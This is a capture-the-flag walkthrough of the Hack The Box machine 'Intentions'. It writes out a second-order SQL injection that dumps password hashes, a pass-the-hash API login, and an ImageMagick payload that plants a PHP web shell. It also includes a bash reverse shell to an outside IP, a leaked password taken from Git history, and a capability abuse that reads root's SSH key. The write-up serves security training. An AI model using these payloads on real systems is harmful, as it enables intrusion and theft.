Hack The Box. Linux. Hard machine. This machine has a website with an API that is vulnerable to second-order SQLi. Then, there is an authentication mechanism that just requires the password hash, so we can take a hash from the dumped database and log in as an administrator. Then, there is a vulnerability involving PHP and ImageMagick that leads to RCE. Once in the machine, we can pivot to user greg by analyzing a Git repository and finding plaintext credentials. After that, we are allowed to run a custom binary that hashes a given length of a file and compares the result with a set of pre-computed MD5 hashes. This binary has a capability that allows to read files as root, which can be used to extract all the contents of any file after automating the process, which allows to read an SSH private key for root

Enumeration

If we go to http://10.10.11.220 we will see a login form:

Intentions 1

First of all, let’s try to register an account:

Intentions 2

We are now registered:

Intentions 3

And we can log in in the platform:

Intentions 4

The website is about images:

Intentions 5

Moreover, the front-end website is built with Vue.js, since the HTML code is rendered by JavaScript at runtime:

Intentions 6

Intentions 7

Since the page is dynamic, fuzzing for routes with ffuf is not useful. We will need to analyze the JavaScript files to find the different pages of the website:

Intentions 8

There are no hidden endpoints, all of them appear in the website sidebar.

We have some interesting cookies:

Intentions 9

They look like JWT tokens, but only token is a JWT (we can decode it in jwt.io):

Intentions 10

The cookie intentions_session and XSRF_TOKEN are just JSON documents Base64-encoded:

API enumeration

In the JWT token payload section we see that iss holds http://10.10.11.220/api/v1/auth/login. Therefore, we have an API endpoint to enumerate. Now we can use ffuf:

$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.11.220/api/v1/auth/FUZZ -fs 162  

[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 77ms]
    * FUZZ: login

[Status: 302, Size: 330, Words: 60, Lines: 12, Duration: 92ms]
    * FUZZ: user

[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 141ms]
    * FUZZ: register

[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 100ms]
    * FUZZ: logout

[Status: 500, Size: 6615, Words: 443, Lines: 37, Duration: 399ms]
    * FUZZ: refresh

Alright, nothing very useful for the moment. Notice the v1, maybe there is a newer version of the API, let’s see:

$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.11.220/api/FUZZ/auth/login -fs 162  

[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 120ms]
    * FUZZ: v2

[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 403ms]
    * FUZZ: v1

Great, so we have two API versions. With Burp Suite, we can find out how the login request is sent:

Intentions 11

We can replicate it with curl:

$ curl 10.10.11.220/api/v1/auth/login -d '{"email":"asdf@asdf.com","password":"asdffdsa"}'
{"status":"error","errors":{"email":["The email field is required."],"password":["The password field is required."]}}

$ curl 10.10.11.220/api/v1/auth/login -d '{"email":"asdf@asdf.com","password":"asdffdsa"}' -H 'Content-Type: application/json'  
{"status":"success","name":"asdf"}

Notice that I didn’t use Content-Type in the first request and the server told me what values were missing. If I do the same in v2, password is replaced with hash:

$ curl 10.10.11.220/api/v2/auth/login -d '{"email":"asdf@asdf.com","password":"asdffdsa"}'
{"status":"error","errors":{"email":["The email field is required."],"hash":["The hash field is required."]}}

We can try to register a new account on v2:

$ curl 10.10.11.220/api/v2/auth/register -d ''
{"status":"error","errors":{"name":["The name field is required."],"email":["The email field is required."],"password":["The password field is required."]}}  

$ curl 10.10.11.220/api/v2/auth/register -d '{"name":"asdf","email":"fdsa@asdf.com","password":"asdffdsa"}' -H 'Content-Type: application/json'
{"status":"error","errors":{"password":["The password confirmation does not match."]}}

It looks like we need to put a password confirmation field. Again, Burp Suite will catch the request and show that the field is called password_confirmation (although for v1):

Intentions 12

So, we can register in v2, but we cannot log in:

$ curl 10.10.11.220/api/v2/auth/register -d '{"name":"asdf","email":"fdsa@asdf.com","password":"asdffdsa","password_confirmation":"asdffdsa"}' -H 'Content-Type: application/json'  
{"status":"success"}

$ curl 10.10.11.220/api/v2/auth/login -d '{"email":"fdsa@asdf.com","hash":"asdffdsa"}' -H 'Content-Type: application/json'
{"error":"login_error"}

Maybe hash is actually a hash (MD5, SHA256…), but we don’t know how it is constructed.

We can also try fuzzing the API in v2:

$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u http://10.10.11.220/api/v2/auth/FUZZ -fs 162  

[Status: 302, Size: 330, Words: 60, Lines: 12, Duration: 67ms]
    * FUZZ: user

[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 77ms]
    * FUZZ: register

[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 95ms]
    * FUZZ: login

[Status: 405, Size: 825, Words: 132, Lines: 23, Duration: 90ms]
    * FUZZ: logout

[Status: 500, Size: 6615, Words: 443, Lines: 37, Duration: 400ms]
    * FUZZ: refresh

Again, nothing really useful.

Let’s see what information is stored about users:

$ curl 10.10.11.220/api/v1/auth/user -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8' | jq

    "admin": 0,
    "genres": "food,travel,nature"
  }
}

Well, let’s return to the JavaScript files and see if there are calls to the API:

Intentions 13

We can find:

POST /api/v1/gallery/user/genres
GET /api/v1/gallery/user/feed
GET /api/v1/gallery/images
GET /api/v1/auth/user

This is interesting:

$ curl 10.10.11.220/api/v1/gallery/user/genres -d '' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'

}

I have just cleared my genres field… I can control this field:

Foothold

This parameter looks interesting, let’s try to inject SQL code:

$ curl 10.10.11.220/api/v1/gallery/user/genres -d $'{"genres":"\'"}' -H 'Content-Type: application/json' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'

The server has crashed when calling /api/v1/gallery/user/feed. This means that the injection has worked (second-order SQLi).

SQL injection

Let’s use a typical SQLi payload:

$ curl 10.10.11.220/api/v1/gallery/user/genres -d $'{"genres":"\' or sleep(5);-- -"}' -H 'Content-Type: application/json' -sH 'Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTI5LjE1OS4yNTIvYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODg0MjMzMTgsImV4cCI6MTY4ODQ0NDkxOCwibmJmIjoxNjg4NDIzMzE4LCJqdGkiOiJmckIyRUhQZkpNYmM2Q1dSIiwic3ViIjoiMjgiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.CfN6TLIWNrzUy26NFekbgAME2Kj4_LAW5QEcYT05jy8'

Let’s use UNION queries to enumerate the database (union 1, union 1,2, … until there are no errors). In the end, we find out that the table has 5 columns:

$ sqli "') union select 1,2,3,4,5 or ('1'='1"
{"status":"success","data":[{"id":1,"file":"2","genre":"3","created_at":"1970-01-01T00:00:04.000000Z","updated_at":"1970-01-01T00:00:01.000000Z","url":"\/storage\/2"}]}

Let’s use jq and the file field to exfiltrate information:

$ sqli "') union select 1,1337,3,4,5 or ('1'='1" | jq
{
  "status": "success",
  "data": [
    {
      "id": 1,
      "file": "1337",
      "genre": "3",
      "created_at": "1970-01-01T00:00:04.000000Z",
      "updated_at": "1970-01-01T00:00:01.000000Z",
      "url": "/storage/2"
    }
  ]
}

$ sqli "') union select 1,1337,3,4,5 or ('1'='1" | jq -r '.data[0].file'  
1337

Let’s start with basic information about the database:

$ sqli "') union select 1,version(),3,4,5 or ('1'='1" | jq -r '.data[0].file'
10.6.12-MariaDB-0ubuntu0.22.04.1

$ sqli "') union select 1,user(),3,4,5 or ('1'='1" | jq -r '.data[0].file'
laravel@localhost

$ sqli "') union select 1,database(),3,4,5 or ('1'='1" | jq -r '.data[0].file'  
intentions

The user named laravel seems promising… Maybe the back-end web application is built with Laravel (a PHP framework).

For the moment, let’s dump the database. These are the available tables:

$ sqli "') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='intentions'),3,4,5 or ('1'='1" | jq -r '.data[0].file'  
gallery_images,personal_access_tokens,migrations,users

Let’s see what’s in users table:

$ sqli "') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='intentions'),3,4,5 or ('1'='1" | jq -r '.data[0].file'  
id,name,email,password,created_at,updated_at,admin,genres

Alright, let’s dump this table:

$ sqli "') union select 1,(select group_concat(concat(admin,0x20,email,0x20,password,0x0a)) from users),3,4,5 or ('1'='1" | jq -r '.data[0].file'

Great, we have a lot of users and hashed passwords. We can try to crack the hashes, but they are Bcrypt hashes, which are very hard to break in terms of computational power.

Pass the Hash

In fact, recall that v2 login requires a hash field and not a plaintext password… Let’s try:

$ curl 10.10.11.220/api/v2/auth/login -id '{"email":"steve@intentions.htb","hash":"$2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa"}' -H 'Content-Type: application/json'

{"status":"success","name":"steve"}

With this, we have a valid session cookie for steve (the JWT token), which has admin field set to 1. If we add the cookie to the browser, we will enter in steve’s profile:

Intentions 14

After a quick guess, we can try to access /admin and we are redirected to this page:

Intentions 15

There is a note about why the v2 API developer thought that authenticating with a hash instead of a password was a good idea. Anyways, as admin we have access to the list of all users and all uploaded images:

Intentions 16

Intentions 17

We have the chance to mess around with the images:

Intentions 18

Intentions 19

If we use Burp Suite, we will see these request and response:

Intentions 20

We can try to see if the server reads arbitrary files like /etc/passwd:

Intentions 21

But we can also test if the server is able to get remote files:

Intentions 22

And it is!

$ nc -nlvp 80
Ncat: Version 7.94 ( https://nmap.org/ncat )  
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80

^C

Remote Code Execution

We can try to upload a PHP file to the server, but it looks like the file is not saved if it is not an image file.

After a bit of research, we find out that if ImageMagick is used under the hood, we might be able to write arbitrary files in the machine. This can lead to writing PHP code and then tell the server to execute it to get RCE. The intended exploit can be found in swarm.ptsecurity.com. It involves uploading the following XML document:

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="caption:&lt;?php system($_GET['c']); ?&gt;" />
  <write filename="info:/var/www/html/intentions/storage/shell.php" />  
</image>

As can be seen, we are trying to write <?php system($_GET['c']); ?> in a PHP file in a public folder of the server in order to get RCE. This is a VID scheme, which indicates ImageMagick to process other files and perform actions specified in the XML document.

A successful request/response can be seen below:

Intentions 23

And now we have RCE:

$ curl '10.10.11.220/storage/shell.php?c=whoami'
caption:www-data
 CAPTION 120x120 120x120+0+0 16-bit sRGB 4.480u 0:05.425

Let’s get a reverse shell:

$ echo -n 'bash  -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64

System enumeration

As www-data there is not much to do. We can see that there are low-privileged users:

www-data@intentions:~$ ls /home  
greg  legal  steven

Moreover, we can see that there is a directory called scanner in /opt that belongs to a group called scanner. Users legal and greg belong to this group:

www-data@intentions:~$ ls -la /opt
total 12
drwxr-xr-x  3 root root    4096 Jun 10 15:14 .
drwxr-xr-x 18 root root    4096 Jun 19 13:34 ..
drwxr-x---  2 root scanner 4096 Jun 19 11:26 scanner  
www-data@intentions:~$ grep scanner /etc/group
scanner:x:1003:greg,legal

At this point, we must take a look at the web server source code:

www-data@intentions:~$ pwd

As usual, we must look for hard-coded credentials for database connections, configuration files, environment variables… Maybe other vulnerabilities can be discovered by reading the source code.

Moreover, there is a .git directory, so the PHP source code is managed with a Git repository. From this shell, we will have some issues to enumerate the Git repository:

www-data@intentions:~$ cd html/intentions/
www-data@intentions:~/html/intentions$ git log
fatal: detected dubious ownership in repository at '/var/www/html/intentions'  
To add an exception for this directory, call:

        git config --global --add safe.directory /var/www/html/intentions
www-data@intentions:~/html/intentions$ git status
fatal: detected dubious ownership in repository at '/var/www/html/intentions'
To add an exception for this directory, call:

        git config --global --add safe.directory /var/www/html/intentions

Therefore, a good idea is to compress the web server directory and transfer it to our machine:

www-data@intentions:~/html/intentions$ cd ..
www-data@intentions:~/html$ tar cfz /tmp/intentions.tar.gz intentions/
www-data@intentions:~/html$ cd /tmp
www-data@intentions:/tmp$ file intentions.tar.gz

$ wget -q 10.10.11.220:8000/intentions.tar.gz  

$ tar xfz intentions.tar.gz

$ cd intentions

Lateral movement to user `greg`

At this point, we can use git to enumerate the repository. For instance, let’s start enumerating branches and commits:

$ git branch
* master

$ git log
commit 1f29dfde45c21be67bb2452b46d091888ed049c3 (HEAD -> master)

    Initial v2 commit

When reading one of the commits, we can find a plaintext password for greg (Gr3g1sTh3B3stDev3l0per!1998!):

diff --git a/tests/Feature/Helper.php b/tests/Feature/Helper.php
new file mode 100644

+        if($admin) {
+            $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
+            return $res->headers->get('Authorization');
+        }
+        else {
+            $res = $test->postJson('/api/v1/auth/login', ['email' => 'greg_user@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);  
+            return $res->headers->get('Authorization');
+        }
+    }
+}
(END)

And this password works to connect via SSH:

$ ssh greg@10.10.11.220
greg@10.10.11.220's password:
$ bash
greg@intentions:~$ cat user.txt
645f9b8661b3482d3c1ffd2faa83ec66

Privilege escalation

Remember that now we belong to scanner group:

greg@intentions:~$ id
uid=1001(greg) gid=1001(greg) groups=1001(greg),1003(scanner)

So, we can access files at /opt/scanner:

greg@intentions:~$ find / -group scanner 2>/dev/null
/opt/scanner
/opt/scanner/scanner
greg@intentions:~$ file /opt/scanner/scanner
/opt/scanner/scanner: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=a7sTitVjvr1qc4Ngg3jt/LY6QPsAiDYUOHaK7gUXN/5aWVPmSwER6KHrDxGzr4/SUP48whD2UTLJ-Q2kLmf, stripped  
greg@intentions:~$ /opt/scanner/scanner
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.

        This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
        This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
        File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.

        The hash blacklist file should be maintained as a single LABEL:MD5 per line.
        Please avoid using extra colons in the label as that is not currently supported.

        Expected output:
        1. Empty if no matches found
        2. A line for every match, example:
                [+] {LABEL} matches {FILE}

  -c string
        Path to image file to check. Cannot be combined with -d
  -d string
        Path to image directory to check. Cannot be combined with -c
  -h string
        Path to colon separated hash file. Not compatible with -p
  -l int
        Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
  -p    [Debug] Print calculated file hash. Only compatible with -c
  -s string
        Specific hash to check against. Not compatible with -h

Moreover, there are some interesting files in the home directory that refer to /opt/scanner/scanner as well:

File read as `root`

The binary /opt/scanner/scanner looks promising, but it is not SUID, and we can’t run it with sudo. However, we can list capabilities and discover that the binary has CAP_DAC_READ_SEARCH enabled, which allows us to read any file as root:

greg@intentions:~$ getcap -r / 2>/dev/null
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep  
/opt/scanner/scanner cap_dac_read_search=ep

The tool takes a file and computes an MD5 hash that is then compared against a list of hashes in order to find coincidences. We can set the number of bytes to read from the file with -l.

There are a lot of options, but I only used -l, -c and -h for the exploitation process. -c is to indicate the file to compute the MD5 hash, and -h is used to specify a file containing a description and a hash digest separated by a colon (:), which is used to check for coincidences.

The way I solved this small challenge is a bit overkill, since the program has more options that can make it easier. Anyways, this is the idea: we can hash an given length of a file and check it with pre-computed hashes. We can pre-compute the hash of all printable characters, then hash the first byte of a file and then check that hash with our list of pre-computed hashes in order to find the character. Then, we add another variable character to the pre-computed hash list and continue the process until all the characters of the file are found.

Here we have a proof of concept (with just -l, -c and -h):

greg@intentions:~$ head -1 /etc/passwd
root:x:0:0:root:/root:/bin/bash
greg@intentions:~$ cd /tmp
greg@intentions:/tmp$ echo -n r | md5sum
4b43b0aee35624cd95b910189b3dc231  -

greg@intentions:/tmp$ /opt/scanner/scanner -l 1 -c /etc/passwd -h /tmp/hashes  
[+] r matches /etc/passwd
greg@intentions:/tmp$ echo -n ro | md5sum

greg@intentions:/tmp$ echo o:3605c251087b88216c9bca890e07ad9c > hashes
greg@intentions:/tmp$ /opt/scanner/scanner -l 2 -c /etc/passwd -h /tmp/hashes
[+] o matches /etc/passwd
greg@intentions:/tmp$ echo -n roo | md5sum
6606afc4c696fa1b4f0f68408726649d  -
greg@intentions:/tmp$ echo o:6606afc4c696fa1b4f0f68408726649d > hashes
greg@intentions:/tmp$ /opt/scanner/scanner -l 3 -c /etc/passwd -h /tmp/hashes
[+] o matches /etc/passwd
greg@intentions:/tmp$ echo -n root | md5sum
63a9f0ea7bb98050796b649e85481845  -
greg@intentions:/tmp$ echo t:63a9f0ea7bb98050796b649e85481845 > hashes
greg@intentions:/tmp$ /opt/scanner/scanner -l 4 -c /etc/passwd -h /tmp/hashes
[+] t matches /etc/passwd

Hope that it is clear the way we are finding the next character of the file. With this process, we can read /root/root.txt, /etc/shadow and /root/.ssh/id_rsa, which are useful for privilege escalation. The above process needs to be automated; for that, I chose to write a program in C called get_file.c (detailed explanation here).

Once compiled, we can transfer it to the machine and get the id_rsa of the root user:

$ gcc get_file.c -lcrypto -s -static -O3 -o get_file

$ python3 -m http.server 80

We could have also read root.txt, but it is better to get full access as root:

$ vim id_rsa

$ chmod 600 id_rsa

$ ssh -i id_rsa root@10.10.11.220  
root@intentions:~# cat root.txt
